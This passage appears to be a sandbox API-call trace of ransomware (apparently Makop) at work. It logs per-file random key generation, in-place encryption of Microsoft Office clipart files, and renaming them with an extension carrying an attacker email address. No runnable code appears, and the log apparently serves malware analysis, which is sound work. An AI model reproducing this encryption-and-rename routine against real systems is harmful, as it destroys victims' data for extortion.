lpNumberOfBytesRead=0x6577ab4*=0xb54, lpOverlapped=0x0) returned 1 [0119.519] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xb60, dwBufLen=0xb60 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xb60) returned 1 [0119.519] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.519] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xb60, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xb60, lpOverlapped=0x0) returned 1 [0119.520] CryptDestroyKey (hKey=0x48c7128) returned 1 [0119.520] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xc34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.520] SetEndOfFile (hFile=0xf0) returned 1 [0119.526] GetProcessHeap () returned 0x48a0000 [0119.526] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0119.526] GetProcessHeap () returned 0x48a0000 [0119.526] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0119.526] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105336.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0119.526] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105336.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105336.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105336.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105336.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0119.527] CloseHandle (hObject=0xf0) returned 1 [0119.528] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2d40, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105338.WMF", cAlternateFileName="")) returned 1 [0119.528] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105338.WMF") returned 63 [0119.528] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105338.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105338.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0119.528] GetProcessHeap () returned 0x48a0000 [0119.528] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0119.528] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0119.528] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0119.529] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0119.529] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0119.529] GetProcessHeap () returned 0x48a0000 [0119.529] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0119.529] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0119.529] CryptDestroyKey (hKey=0x48c7128) returned 1 [0119.529] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0119.533] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0119.534] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0119.534] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0119.534] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0119.534] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0119.534] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0119.534] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0119.534] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.535] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2d40, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x2d40, lpOverlapped=0x0) returned 1 [0119.536] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2d40, dwBufLen=0x2d40 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2d40) returned 1 [0119.536] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.536] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2d40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2d40, lpOverlapped=0x0) returned 1 [0119.537] CryptDestroyKey (hKey=0x48c7128) returned 1 [0119.537] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2e14, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.537] SetEndOfFile (hFile=0xf0) returned 1 [0119.545] GetProcessHeap () returned 0x48a0000 [0119.545] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0119.545] GetProcessHeap () returned 0x48a0000 [0119.545] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0119.545] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105338.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0119.545] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105338.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105338.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105338.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105338.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0119.546] CloseHandle (hObject=0xf0) returned 1 [0119.546] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x42a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105348.WMF", cAlternateFileName="")) returned 1 [0119.548] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105348.WMF") returned 63 [0119.548] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105348.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105348.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0119.549] GetProcessHeap () returned 0x48a0000 [0119.549] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0119.549] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0119.549] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0119.549] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0119.553] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0119.553] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0119.554] GetProcessHeap () returned 0x48a0000 [0119.554] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0119.554] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0119.554] CryptDestroyKey (hKey=0x48c7128) returned 1 [0119.554] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0119.554] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0119.554] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0119.554] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0119.554] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0119.555] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0119.555] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0119.555] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0119.555] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.618] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x42a4, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x42a4, lpOverlapped=0x0) returned 1 [0119.620] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x42b0, dwBufLen=0x42b0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x42b0) returned 1 [0119.620] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.620] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x42b0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x42b0, lpOverlapped=0x0) returned 1 [0119.621] CryptDestroyKey (hKey=0x48c7128) returned 1 [0119.621] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x4384, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.621] SetEndOfFile (hFile=0xf0) returned 1 [0119.628] GetProcessHeap () returned 0x48a0000 [0119.628] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0119.628] GetProcessHeap () returned 0x48a0000 [0119.628] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0119.628] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105348.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0119.629] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105348.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105348.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105348.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105348.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0119.630] CloseHandle (hObject=0xf0) returned 1 [0119.630] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x229c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105360.WMF", cAlternateFileName="")) returned 1 [0119.630] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105360.WMF") returned 63 [0119.630] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105360.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105360.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0119.633] GetProcessHeap () returned 0x48a0000 [0119.633] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0119.633] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0119.633] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0119.634] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0119.638] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0119.638] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0119.638] GetProcessHeap () returned 0x48a0000 [0119.638] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0119.638] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0119.638] CryptDestroyKey (hKey=0x48c7128) returned 1 [0119.638] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0119.638] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0119.638] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0119.639] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0119.639] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0119.639] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0119.639] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0119.639] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0119.639] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.639] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x229c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x229c, lpOverlapped=0x0) returned 1 [0119.641] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x22a0, dwBufLen=0x22a0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x22a0) returned 1 [0119.641] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.641] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x22a0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x22a0, lpOverlapped=0x0) returned 1 [0119.641] CryptDestroyKey (hKey=0x48c7128) returned 1 [0119.641] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2374, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.641] SetEndOfFile (hFile=0xf0) returned 1 [0119.648] GetProcessHeap () returned 0x48a0000 [0119.648] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0119.648] GetProcessHeap () returned 0x48a0000 [0119.648] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0119.648] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105360.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0119.649] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105360.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105360.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105360.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105360.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0119.650] CloseHandle (hObject=0xf0) returned 1 [0119.650] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x305c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105368.WMF", cAlternateFileName="")) returned 1 [0119.650] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105368.WMF") returned 63 [0119.650] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105368.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105368.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0119.652] GetProcessHeap () returned 0x48a0000 [0119.652] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0119.652] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0119.652] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0119.652] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0119.657] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0119.657] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0119.657] GetProcessHeap () returned 0x48a0000 [0119.657] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0119.657] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0119.657] CryptDestroyKey (hKey=0x48c7128) returned 1 [0119.657] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0119.658] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0119.658] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0119.658] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0119.658] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0119.658] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0119.658] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0119.658] CryptSetKeyParam (hKey=0x48c7128, 